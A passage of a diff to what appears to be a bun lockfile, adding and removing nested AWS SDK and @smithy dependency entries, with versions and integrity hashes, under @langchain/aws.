"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="], - "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="], - "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="], @@ -9223,6 +8631,14 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.3.6", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-serde": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-middleware": "^4.2.4", "tslib": "^2.6.2" } }, "sha512-PXehXofGMFpDqr933rxD8RGOcZ0QBAWtuzTgYRAHAL2BnKawHDEdf/TnGpcmfPJGwonhginaaeJIKluEojiF/w=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Gy3TKCOnm9JwpFooldwAboazw+EFYlC+Bb+1QBsSi5xI0W5lX81j/P5+CXvD/9ZjtYKRgxq+kkqd/KOHflzvgA=="], @@ -9239,12 +8655,16 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/middleware-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1" } }, "sha512-fdWuhEx4+jHLGeew9/IvqVU/fxT/ot70tpRGuOLxE3HzZOyKeTQfYeV1oaBXpzi93WOk668hjMuuagJ2/Qs7ng=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/middleware-retry/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Z4DUr/AkgyFf1bOThW2HwzREagee0sB5ycl+hDiSZOfRLW8ZgrOjDi6g8mHH19yyU5E2A/64W3z6SMIf5XiUSQ=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="], @@ -9259,14 +8679,20 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], - "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="], - "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.3.6", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-serde": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-middleware": "^4.2.4", "tslib": "^2.6.2" } }, "sha512-PXehXofGMFpDqr933rxD8RGOcZ0QBAWtuzTgYRAHAL2BnKawHDEdf/TnGpcmfPJGwonhginaaeJIKluEojiF/w=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Gy3TKCOnm9JwpFooldwAboazw+EFYlC+Bb+1QBsSi5xI0W5lX81j/P5+CXvD/9ZjtYKRgxq+kkqd/KOHflzvgA=="], @@ -9283,12 +8709,16 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/middleware-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1" } }, "sha512-fdWuhEx4+jHLGeew9/IvqVU/fxT/ot70tpRGuOLxE3HzZOyKeTQfYeV1oaBXpzi93WOk668hjMuuagJ2/Qs7ng=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/middleware-retry/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Z4DUr/AkgyFf1bOThW2HwzREagee0sB5ycl+hDiSZOfRLW8ZgrOjDi6g8mHH19yyU5E2A/64W3z6SMIf5XiUSQ=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="], @@ -9303,14 +8733,20 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], - "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="], - "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.3.6", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-serde": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-middleware": "^4.2.4", "tslib": "^2.6.2" } }, "sha512-PXehXofGMFpDqr933rxD8RGOcZ0QBAWtuzTgYRAHAL2BnKawHDEdf/TnGpcmfPJGwonhginaaeJIKluEojiF/w=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Gy3TKCOnm9JwpFooldwAboazw+EFYlC+Bb+1QBsSi5xI0W5lX81j/P5+CXvD/9ZjtYKRgxq+kkqd/KOHflzvgA=="], @@ -9361,6 +8797,8 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="], @@ -9377,18 +8815,26 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-f+nBDhgYRCmUEDKEQb6q0aCcOTXRDqH5wWaFHJxt4anB4pKHlgGoYP3xtioKXH64e37ANUkzWf6p4Mnv1M5/Vg=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/util-retry": ["@smithy/util-retry@4.2.4", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-yQncJmj4dtv/isTXxRb4AamZHy4QFr4ew8GxS6XLWt7sCIxkPxPzINWd7WLISEFPsIan14zrKgvyAF+/yzfwoA=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="], - "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="], - "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": 